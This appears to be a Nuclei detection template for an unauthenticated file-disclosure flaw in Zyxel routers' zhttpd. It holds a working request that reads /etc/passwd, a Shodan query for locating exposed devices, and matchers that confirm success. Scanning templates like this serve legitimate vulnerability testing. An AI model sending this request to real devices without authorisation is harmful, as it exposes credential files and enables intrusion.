id: unauth-lfd-zhttpd

info:
  name: zhttpd - Unauthenticated Local File Disclosure
  author: EvergreenCartoons
  severity: high
  description: |
    An endpoint in zhttpd can be used to expose system files including "/etc/passwd" and "/etc/shadow". This endpoint is accessible without prior login. An attacker can read all files on the system by using this endpoint.
  reference:
    - https://sec-consult.com/blog/detail/enemy-within-unauthenticated-buffer-overflows-zyxel-routers/
    - https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/
    - https://github.com/rapid7/metasploit-framework/pull/17388
  metadata:
    verified: "true"
    shodan-query: http.html:"VMG1312-B10D"
  tags: misconfig,unauth,zyxel,lfi,msf

requests:
  - raw:
      - |
        GET /Export_Log?/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200